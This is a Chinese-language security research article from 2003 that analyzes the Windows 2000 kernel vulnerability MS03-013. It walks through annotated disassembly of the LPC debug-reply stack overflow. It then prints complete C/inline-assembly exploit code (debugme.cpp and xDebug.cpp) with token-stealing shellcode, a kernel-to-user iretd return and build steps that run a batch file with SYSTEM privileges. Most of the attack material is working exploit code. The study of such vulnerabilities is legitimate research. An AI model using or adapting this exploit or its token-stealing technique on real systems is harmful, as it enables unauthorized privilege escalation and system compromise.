首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第41期->技术专题
期刊号: 类型: 关键词:
windows 2000 kernel exploit 的一点研究

作者:ey4s <cooleyas@21cn.com>
日期:2003-06-03

以下是研究MS03-013所公布漏洞时的一点心得,其中可能有不少错误的地方,请大家多指教。本文涉
及到的一些东西并没有详细解释,如KPEB、TEB等,大家可自行参考本文后面所提到的参考资源。写这篇文
章的目的是权当笔记,一是请高手们指出错误,二来供以后翻阅。


-=-=-=- 第一部分 实例分析 -=-=-=-

    MS在2003-04-16发布了一个安全公告MS03-013,内容如下:
    The vulnerability exists in the kernel debugging support code that delivers debug
events to the user mode debugger. malicious user mode debugger would send a large reply
to the kernel, which results in a stack overflow.  

    按照惯例,MS的安全公告不会提供技术细节的,但在漏洞发现者的网站上也没有公布技术细节,其他
地方也没有相关的资料,于是只能自己跟踪分析了。花了我很长时间,终于重现了这个漏洞。

    背景知识: user-mode debuger工作流程
    <1>debuger创建一个新进程,或attach一个正在运行的进程。我们称这个进程为B。
    <2>debuger等待进程B产生debug事件
    <3>进程B产生debug事件,发送消息给debuger,进程挂起,等待debuger指令。
    <3>debuger处理debug事件,发送消息给进程B。
    <4>进程B接受debuger发送的消息,进程复苏。
    <5>循环2-4

    消息传递是通过lpc port来进行的,流程如下所示:
    debuger <--> kernel <--> process B
    
    上面所说的消息结构如下:
    typedef struct _DEBUG_MESSAGE
    {
    PORT_MESSAGE        PORT_MSG;
    DEBUG_EVENT        DebugEvent;
    }DEBUG_MESSAGE, *PDEBUG_MESSAGE;

    typedef struct _PORT_MESSAGE
    {
    USHORT                  DataSize;//数据长度
    USHORT                  MessageSize;//总长度
    USHORT                  MessageType;
    USHORT                  DataInfoOffset;
    CLIENT_ID               ClientId;
    ULONG                   MessageId;
    ULONG                   SectionSize;
    //UCHAR            Data[];
    }PORT_MESSAGE, *PPORT_MESSAGE;

    在\Microsoft SDK\samples\winbase\Debug目录下有几个简单的user-mode debuger的源代码,
大家可以参考一下。

    结合安全公告的内容和背景知识,我想你已经知道怎么重现这个漏洞了。
    <>debuger send large reply --> kernel
    <>kernel delivers reply -> process B
    在kernel处理这个恶意的reply时,溢出发生了。

    注意:溢出发生时,CPU所处的路径是 -> 运行在内核空间,关联着进程B。


    OK!我们来看看反汇编出来的代码,看看溢出到底是怎么发生的。


    首先,debuger发送的reply长度是有限制的,我们来看看:

    //Data长度要小于等于总长度-0x18
    NtReplyPort+0x4D
    0008:8049DC89  PUSH      06
    0008:8049DC8B  POP       ECX
    0008:8049DC8C  MOV       ESI,[EBP+0C]//reply message地址
    0008:8049DC8F  LEA       EDI,[EBP-3C]
    0008:8049DC92  REPZ MOVSD
    0008:8049DC94  OR        DWORD PTR [EBP-04],-01
    0008:8049DC98  MOVSX     EAX,WORD PTR [EBP-3C]//取message DataSize
    0008:8049DC9C  ADD       EAX,18
    0008:8049DC9F  MOVSX     ECX,WORD PTR [EBP-3A]//取message TotalSize
    0008:8049DCA3  CMP       EAX,ECX//判断DataSize+0x18是否大于TotalSize
    0008:8049DCA5  JA        804EEE93

    //Reply总长度不能超过0x148
    0008:8049DCD3  MOV       AX,[EBP-3A]//取message TotalSize
    0008:8049DCD7  MOVSX     EDX,AX
    0008:8049DCDA  MOV       ECX,[EBP-20]
    0008:8049DCDD  CMP       EDX,[ECX+34]//[ecx+34]处内容为0x148
    0008:8049DCE0  JA        804EEF82

    所以总长度最大只能为0x148字节,Data最大只能为0x130字节,但这已经足够触发内核堆栈溢出了。

    接着kernel会调用_DbgkpSendApiMessage来处理我们的debuger发送的reply_msg,函数调用关系如下:
    DbgkpSendApiMessage
    |_ LpcRequestWaitReplyPort  
        |_ 80433399
        |_ LpcpMoveMessage    <-- kernel stack buffer overflow

    _DbgkpSendApiMessage(argv1, argv2, argv3)
    _DbgkpSendApiMessage
    0008:8052CF45  PUSH      EBP
    0008:8052CF46  MOV       EBP,ESP
    0008:8052CF48  SUB       ESP,00000100//从stack中分配0x100字节内存
    ......
    0008:8052CF5E  MOV       ESI,[EBP+08]
    ......
    0008:8052CF78  LEA       EAX,[EBP-0100]
    0008:8052CF7E  PUSH      EAX
    0008:8052CF7F  PUSH      ESI
    0008:8052CF80  PUSH      DWORD PTR [EBP+0C]
    0008:8052CF83  CALL      _LpcRequestWaitReplyPort
    ......
    0008:8052CFBA  RET       000C


    _LpcRequestWaitReplyPort(argv3, argv2, stack_buff)
    _LpcRequestWaitReplyPort
    0008:8049CFD3  PUSH      00
    0008:8049CFD5  PUSH      DWORD PTR [ESP+10]
    0008:8049CFD9  PUSH      DWORD PTR [ESP+10]
    0008:8049CFDD  PUSH      DWORD PTR [ESP+10]
    0008:8049CFE1  CALL      80433399
    0008:8049CFE6  RET       000C


    80433399(argv3, argv2, stack_buff, 0)
    80433399+0x3da
    0008:80433773  MOV       ESI,[EBP+0C]
    0008:80433776  XOR       EDI,EDI
    0008:80433778  PUSH      EDI
    0008:80433779  PUSH      EDI
    0008:8043377A  LEA       EAX,[ESI+30]
    0008:8043377D  PUSH      EAX
    0008:8043377E  LEA       EAX,[ESI+18]
    0008:80433781  PUSH      EAX
    0008:80433782  PUSH      DWORD PTR [EBP+10]
    0008:80433785  CALL      _LpcpMoveMessage


    _LpcpMoveMessage(stack_buff, argv2+18, argv2+0x30)
    _LpcpMoveMessage
    0008:80402276  PUSH      ESI
    0008:80402277  PUSH      EDI
    0008:80402278  MOV       EDI,[ESP+0C]
    0008:8040227C  CLD
    0008:8040227D  MOV       ESI,[ESP+10]
    0008:80402281  LODSD
    0008:80402282  STOSD
    0008:80402283  LEA       ECX,[EAX+03]//取得DataSize
    0008:80402286  AND       ECX,0000FFFC//取4的整数,去除余数,如0x121 -> 0x120
    0008:8040228C  SHR       ECX,02//DataSize除4
    0008:8040228F  LODSD
    0008:80402290  MOV       EDX,[ESP+18]
    0008:80402294  OR        EDX,EDX
    0008:80402296  JZ        8040229B
    0008:80402298  MOV       AX,DX
    0008:8040229B  STOSD
    0008:8040229C  MOV       EDX,[ESP+1C]
    0008:804022A0  OR        EDX,EDX
    0008:804022A2  JZ        804022B0
    0008:804022A4  MOV       EAX,[EDX]
    0008:804022A6  STOSD
    0008:804022A7  MOV       EAX,[EDX+04]
    0008:804022AA  STOSD
    0008:804022AB  ADD       ESI,08
    0008:804022AE  JMP       804022B2
    0008:804022B0  MOVSD
    0008:804022B1  MOVSD
    0008:804022B2  MOVSD
    0008:804022B3  MOVSD
    0008:804022B4  MOV       ESI,[ESP+14]
    0008:804022B8  REPZ      MOVSD//没有考虑stack buffer大小,将我们的发送的数据全部copy到stack中
    0008:804022BA  POP       EDI
    0008:804022BB  POP       ESI
    0008:804022BC  RET       0014


-=-=-=- 第二部分 exploit需要解决的几个问题 -=-=-=-

    一、确定retloc地址。
    
    从第一部分的反汇编代码中可以知道,函数的返回地址在stack_buff+0x104处。


    二、确定retaddr地址。
    
    因为溢出发生时,关联的是进程B,所以shellcode就直接放在进程B空间里面,进程B把处于它进程内
的shellcode的地址传递给debuger,然后debuger发送给kernel的buffer结构如下:

    |...nop...|realcode_addr|shellcode_addr|nop(0xC)|esp|cs|ds|es|
    
    realcode_addr覆盖在ebp,realcode的功能是恢复寄存器fs、以SYSTEM权限运行ey4s.bat。
    shellcode_addr覆盖在DbgkpSendApiMessage函数的返回地址,shllcode的功能是提升权限、从核心
态返回应用态。
    因为函数DbgkpSendApiMessage返回时是ret 0xc,所以要0xc个nop来填充。
    再后面跟的就是返回应用态后进程B应该对应的寄存器值了。



    三、提升权限。

    显然假设Process B是以普通用户身份运行的,所以利用这个漏洞的目的是提升权限,所以要在从
核心态返回应用态之前提前权限。在unix平台中可以修改当前进程的UID为0,达到提升权限的目的。在
windows平台中也可以用类似的方法,但不是修改UID(因为windows没有UID这个概念),而是修改当前
进程的访问令牌,即Process Token。开始我用的办法是修改Token中的特权列表,如增加debug特权,但这
样的话,返回应用态后想获得SYSTEM权限还得费点功夫。Token还有很多可以修改的地方,如Owner SID等等。
最后还是决定用最简单最有效的办法,即用SYSTEM进程的TOKEN替换当前进程的TOKEN,这样我们的进程就
有最高权限了。

    在windows 2000平台中:
    当运行在内核模式的时候,FS:[0x124]总是指向到当前线程的TEB,[TEB+0x44]总是指向到当前进程
的KPEB。在[KPEB+0x12c]处存放的就是当前进程的Token了。系统中各个进程的KPEB由一环形链表联结着,
所以可以通过当前进程的KPEB找出其他进程的KPEB。
    
    实现代码如下:

    //获取当前进程的KPEB地址
    mov        eax,fs:[0x124]
    mov        esi,[eax+0x44]
    mov        eax,esi

    /*搜索SYSTEM进程的KPEB地址*/
    //获得下一个进程的KPEB
    search:
    mov        eax,[eax+0xa0]
    sub        eax,0xa0
    cmp        [eax+0x9c],0x8//从PID判断是否SYSTEM进程
    jne        search

    mov        eax,[eax+0x12c]//获取system进程的token
    mov        [esi+0x12c],eax//修改当前进程的token



    四、从内核态正确返回应用态

    溢出发生后,我们的shellcode得到控制权,提升权限后应该让中断调用返回,系统才不会崩溃掉。因
为我们覆盖了内核函数DbgkpSendApiMessage的返回地址,所以让中断调用返回这个任务就只有让我们自己
来完成了。在返回之前要还原一些寄存器的值,这样在返回应用态后,进程B中我们的realcode才能正确的
继续运行。在中断返回时,堆栈中的数据结构如下:
    
    内存高处 栈底
    |??????|
    |ds    | <-- 返回应用态后的ds
    |esp   | <-- 返回应用态后的esp
    |eflags| <-- 返回应用态后的flags
    |cs    | <-- 返回应用态后的cs
    |eip   | <-- 返回应用态后的eip
    内存低处 栈顶

    我们自己构造这些数据,然后让esp指向这些数据,接着调用iretd从核心态返回应用态也可以。不过,
好像这样返回后会出问题,也许参数没有设置完整。还是从内存中搜索这些参数保险一点。

    
-=-=-=- 第三部分 exploit -=-=-=-

/*-------------------------------------------------------------------
debugme.cpp
written by ey4s
cooleyas@21cn.com
2003-05-23
-------------------------------------------------------------------*/
#include <windows.h>
#include <stdio.h>
#pragma pack(1)

typedef struct _SomeInfo
{
    DWORD    dwNum;
    DWORD    dwRealCode;
    DWORD    dwShellCode;    
    DWORD    dw[3];
    DWORD    dwESP;
    DWORD    dwCS;
    DWORD    dwDS;
    DWORD    dwES;
}SOMEINFO, *PSOMEINFO;

unsigned    char    shellcode[512];
unsigned    char    realcode[512];
DWORD        dwFS;
HANDLE        hProcess;
DWORD        dwRun;
SOMEINFO    si;

void  shellcodefnlock();
void  realcodefnlock();
void getshellcode(unsigned char *pDst, int iSize, BYTE *pSrc);
void CreateNewProcess()
{
    STARTUPINFO si={sizeof(si)};
    PROCESS_INFORMATION pi;
    
    CreateProcess(NULL, "ey4s.bat", NULL, NULL,
        TRUE, CREATE_NEW_CONSOLE , NULL, NULL, &si, &pi);
    exit(0);
}

void main()
{
    HMODULE    h;
    DWORD    dwESP, dwCS, dwDS, dwES;

    //保存寄存器值
    __asm
    {
        mov        dwESP, esp
        sub        dwESP, 0x100

        push        cs
        pop        eax
        and        eax,0xFFFF
        mov        dwCS, eax

        push        ds
        pop        eax
        and        eax,0xFFFF
        mov        dwDS, eax

        push        es
        pop        eax
        and        eax,0xFFFF
        mov        dwES, eax

        push        fs
        pop        eax
        and        eax,0xFFFF
        mov        dwFS, eax
    }
    //取得shellcode
    getshellcode(shellcode, sizeof(shellcode), (BYTE *)shellcodefnlock);
    getshellcode(realcode, sizeof(realcode), (BYTE *)realcodefnlock);
    //传递一些信息给debuger
    dwRun = (DWORD)&CreateNewProcess;
    si.dwNum = sizeof(si)/sizeof(DWORD) -1 ;
    si.dwRealCode = (DWORD)&realcode;
    si.dwShellCode = (DWORD)&shellcode;
    si.dwESP = dwESP;
    si.dwCS = dwCS;
    si.dwDS = dwDS;
    si.dwES = dwES;
    printf( "shellcode 0x%.8X\n"
            "realcode 0x%.8X\n"
            "ESP=%.8X CS=0x%X DS=0x%X ES=0x%X FS=0x%X\n",
            si.dwShellCode, si.dwRealCode, si.dwESP,
             si.dwCS, si.dwDS, si.dwES, dwFS);
    RaiseException(0x1981, 0, sizeof(si)/sizeof(DWORD), (DWORD *)&si);
    //触发Load Dll和Free Dll事件
    while(1)
    {    
        //printf(".");
        h=LoadLibrary("ws2_32.dll");
        Sleep(1000);
        FreeLibrary(h);
        Sleep(1000);
    }
}

void  shellcodefnlock()
{
    _asm
    {
     nop
     nop
     nop
     nop
     nop
     nop
     nop
     nop

/*start here*/

/*--------提升权限--------*/
    //获取当前进程的KPEB地址
    mov        eax,fs:[0x124]
    mov        esi,[eax+0x44]
    mov        eax,esi

    /*搜索SYSTEM进程的KPEB地址*/
    //获得下一个进程的KPEB
search:
    mov        eax,[eax+0xa0]
    sub        eax,0xa0
    cmp        [eax+0x9c],0x8//从PID判断是否SYSTEM进程
    jne        search

    mov        eax,[eax+0x12c]//获取system进程的token
    mov        [esi+0x12c],eax//修改当前进程的token

/*------------从核心态返回应用态--------------*/
    //保存esp
    mov        esi,esp

    //搜索iretd所需要的参数
    mov        eax,esp
    add        eax,0x10//跳过我们的数据
next:
    add        eax,0x4
    mov        ebx,[eax]
    cmp        ebx,[esi+0x4]//cs linux系统是0x23,win2k好像都是1b
    jne        next
    //
    sub        eax,0x4//此时eax指向的即为iretd返回所需要的参数起始地址
    mov        esp,eax
    mov        [eax],ebp//ebp是realcode的地址,设置返回后的eip为realcode的起始地址
    add        eax,0xC
    //设置返回应用态后的esp
    mov        ebx,[esi]
    mov        [eax], ebx

    //恢复寄存器值
    push    [esi+0x8]
    pop        ds
    push    [esi+0xc]
    pop        es
    //返回应用态
    iretd
/*end here*/
     int 3
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
    
    }
}

void  realcodefnlock()
{
    _asm
    {
     nop
     nop
     nop
     nop
     nop
     nop
     nop
     nop

/*start here*/
    push    dwFS
    pop    fs
    //call our function
    call    dwRun
/*end here*/
     int 3
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
    
    }
}

void getshellcode(unsigned char *pDst, int iSize, BYTE *pSrc)
{
    unsigned    char    temp;
    unsigned    char    *shellcodefnadd, *start;
    int            len,k;
    char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
    #define  FNENDLONG   0x08
    
    /* 定位 shellcodefnlock的汇编代码 */
    shellcodefnadd=pSrc;
    temp=*shellcodefnadd;
    if(temp==0xe9)
    {
          ++shellcodefnadd;
          k=*(int *)shellcodefnadd;
          shellcodefnadd+=k;
          shellcodefnadd+=4;
    }
    for(k=0;k<=0x500;++k)
         if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0)
             break;
    /* shellcodefnadd+k+8是得到的shellcodefnlock汇编代码地址 */
    len=0;
    start=shellcodefnadd+k+8;
    //len = 2*wcslen(shellcodefnadd+k+8);
    while((BYTE)start[len] != (BYTE)'\xcc')
    {
        pDst[len] = start[len];
        len++;
        if(len>=iSize-1) break;
    }
    //memcpy(shellcode,shellcodefnadd+k+8,len);
    pDst[len]='\0';
}

/*-------------------------------------------------------------------
xDebug.cpp
written by ey4s
cooleyas@21cn.com
2003-05-23
-------------------------------------------------------------------*/
#include <windows.h>
#include <stdio.h>

#define    offset    0x100+0x4-0x6*4

typedef enum _PROCESSINFOCLASS {
ProcessDebugPort=7// 7 Y Y
} PROCESSINFOCLASS;

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR Buffer;
} UNICODE_STRING ,*PUNICODE_STRING;

typedef struct _CLIENT_ID
{
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
}CLIENT_ID,* PCLIENT_ID, **PPCLIENT_ID;

typedef struct _LPC_MESSAGE
{
  USHORT                  DataSize;
  USHORT                  MessageSize;
  USHORT                  MessageType;
  USHORT                  DataInfoOffset;
  CLIENT_ID               ClientId;
  ULONG                   MessageId;
  ULONG                   SectionSize;
//  UCHAR                      Data[];
}LPC_MESSAGE, *PLPC_MESSAGE;

typedef struct _OBJECT_ATTRIBUTES
{
    DWORD           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    DWORD           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
}OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES, **PPOBJECT_ATTRIBUTES;

typedef
DWORD
(CALLBACK * NTCREATEPORT)(

  OUT PHANDLE             PortHandle,
  IN POBJECT_ATTRIBUTES   ObjectAttributes,
  IN ULONG                MaxConnectInfoLength,
  IN ULONG                MaxDataLength,
  IN OUT PULONG           Reserved OPTIONAL );

typedef
DWORD
(CALLBACK * NTREPLYWAITRECVIVEPORT)(

  IN HANDLE               PortHandle,
  OUT PHANDLE             ReceivePortHandle OPTIONAL,
  IN PLPC_MESSAGE         Reply OPTIONAL,
  OUT PLPC_MESSAGE        IncomingRequest );


typedef
DWORD
(CALLBACK * NTREPLYPORT)(

  IN HANDLE               PortHandle,
  IN PLPC_MESSAGE         Reply );

typedef
DWORD
(CALLBACK * NTSETINFORMATIONPROCESS)(

  IN HANDLE               ProcessHandle,
  IN PROCESSINFOCLASS ProcessInformationClass,
  IN PVOID                ProcessInformation,
  IN ULONG                ProcessInformationLength );


typedef struct _DEBUG_MESSAGE
{
    LPC_MESSAGE        PORT_MSG;
    DEBUG_EVENT        DebugEvent;
}DEBUG_MESSAGE, *PDEBUG_MESSAGE;


NTSETINFORMATIONPROCESS NtSetInformationProcess;
NTREPLYWAITRECVIVEPORT    NtReplyWaitReceivePort;
NTCREATEPORT            NtCreatePort;
NTREPLYPORT                NtReplyPort;

template <int i> struct PORT_MESSAGEX : LPC_MESSAGE {
UCHAR Data[i];
};

PROCESS_INFORMATION    pi;

int main()
{
    HMODULE hNtdll;    
    DWORD    dwAddrList[9];
    BOOL    bExit = FALSE;
    DWORD    dwRet;
    HANDLE    hPort;
    int        k=0;
    DEBUG_MESSAGE dm;
    OBJECT_ATTRIBUTES oa = {sizeof(oa)};
    PORT_MESSAGEX<0x130> PortReply;
    STARTUPINFO    si={sizeof(si)};

    printf( "\nxDebug -> windows kernel exploit for MS03-013\n"
            "Written by ey4s<cooleyas@21cn.com>\n"
            "2003-05-23\n\n");

    //get native api address
    hNtdll = LoadLibrary("ntdll.dll");
    if(hNtdll == NULL)
    {
        printf("LoadLibrary failed:%d\n", GetLastError());
        return 0;
    }

    NtReplyWaitReceivePort = (NTREPLYWAITRECVIVEPORT)
         GetProcAddress(hNtdll, "NtReplyWaitReceivePort");

    NtCreatePort = (NTCREATEPORT)
         GetProcAddress(hNtdll, "NtCreatePort");

    NtReplyPort = (NTREPLYPORT)
         GetProcAddress(hNtdll, "NtReplyPort");

    NtSetInformationProcess = (NTSETINFORMATIONPROCESS)
         GetProcAddress(hNtdll, "NtSetInformationProcess");

    //create port
    dwRet = NtCreatePort(&hPort, &oa, 0, 0x148, 0);
    if(dwRet != 0)
    {
        printf("create hPort failed. ret=%.8X\n", dwRet);
        return 0;
    }
    //create process
    if(!CreateProcess(0, "debugme.exe", NULL, NULL, TRUE,
        CREATE_SUSPENDED, 0, 0, &si, &pi))
    {
        printf("CreateProcess failed:%d\n", GetLastError());
        return 0;
    }
    //set debug port
    dwRet = NtSetInformationProcess(pi.hProcess, ProcessDebugPort,
        &hPort, sizeof(hPort));
    if(dwRet != 0)
    {
        printf("set debug port error:%.8X\n", dwRet);
        return 0;
    }
    //printf("pid:0x%.8X %d hPort=0x%.8X\n", pi.dwProcessId, pi.dwProcessId, hPort);
    ResumeThread(pi.hThread);

    while (true)
    {
        memset(&dm, 0, sizeof(dm));
        NtReplyWaitReceivePort(hPort, 0, 0, &dm.PORT_MSG);
        k++;
        switch (dm.DebugEvent.dwDebugEventCode+1)
        {
            case EXCEPTION_DEBUG_EVENT:
                printf("DEBUG_EVENT --> except\n");
                
if(dm.DebugEvent.u.Exception.ExceptionRecord.NumberParameters == 9)
                {
                    memcpy((unsigned char *)&dwAddrList,
                        (unsigned char
*)&dm.DebugEvent.u.Exception.ExceptionRecord.ExceptionInformation,
                        sizeof(dwAddrList));
                    /*int    n;
                    for(n=0;n<6;n++)
                        printf("%.8X\n", dwAddrList[n]);*/
                }
                break;

            case CREATE_THREAD_DEBUG_EVENT:  
                printf("DEBUG_EVENT --> create thread\n");
                break;

            case CREATE_PROCESS_DEBUG_EVENT:
                printf("DEBUG_EVENT --> create process\n");
                break;

            case EXIT_THREAD_DEBUG_EVENT:
                printf("DEBUG_EVENT --> exit thread\n");
                break;

            case EXIT_PROCESS_DEBUG_EVENT:
                printf("DEBUG_EVENT --> exit process\n");
                bExit = TRUE;
                break;

            case LOAD_DLL_DEBUG_EVENT:
                printf("DEBUG_EVENT --> load dll\n");
                break;

            case UNLOAD_DLL_DEBUG_EVENT:
                printf("DEBUG_EVENT --> unload dll\n");
                break;

            case OUTPUT_DEBUG_STRING_EVENT:  
                printf("DEBUG_EVENT --> debug string\n");        
                break;

        } //end of switch
        //printf("k=%d\n",k);
        if(k==10)
        {
            //printf("************\n");
            //Sleep(4*1000);
            memset(&PortReply, 0, sizeof(PortReply));
            memcpy(&PortReply, &dm, sizeof(dm));
            PortReply.MessageSize = 0x148;
            PortReply.DataSize = 0x130;
            memset(&PortReply.Data, 'a', sizeof(PortReply.Data));
            memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList));
            dwRet = NtReplyPort(hPort, &PortReply);
            if(dwRet ==0 )
                printf("Send shellcode to ntoskrnl completed!"
                    "Wait for exit.\n");
            else
                printf("NtReply err:%.8X\n", dwRet);
        }
        else
            NtReplyPort(hPort, &dm.PORT_MSG);
        if(bExit) break;
    }//end of while
    return 0;
}

    编译xDebug.cpp和debugme.cpp,放在同一目录下,再创建一个ey4s.bat,然后运行xDebug.exe,成功
后会以SYSTEM权限运行ey4s.bat。


-=-=-=- 第四部分 其他 -=-=-=-

    个人认为,kernel exploit和user-mode exploit区别在于kernel exploit要多做两件事:
    <1>提升权限。当然如果关联的进程已经是SYSTEM、或ADMIN权限,就没必要提升权限了。
    <2>从核心态正确返回应用态,这其中包括恢复寄存器值,搜索返回所需要的参数等。
    其他的就跟user-mode exploit没什么区别了。


    在这过程中参考了大量书籍、资料,向作者们表示感谢!

    References:
    <>http://elfhack.whitecell.org/ Linux_Kernel_Exploit_RD by alert7
    <>http://person.okey.net/~webcrazy/ webcrazy
    <>http://www.chapeaux-noirs.org crazylord

    books:
    *Windows NT/2000 Native API Reference
    *Inside Microsoft Windows 2000, Third Edition
版权所有,未经许可,不得转载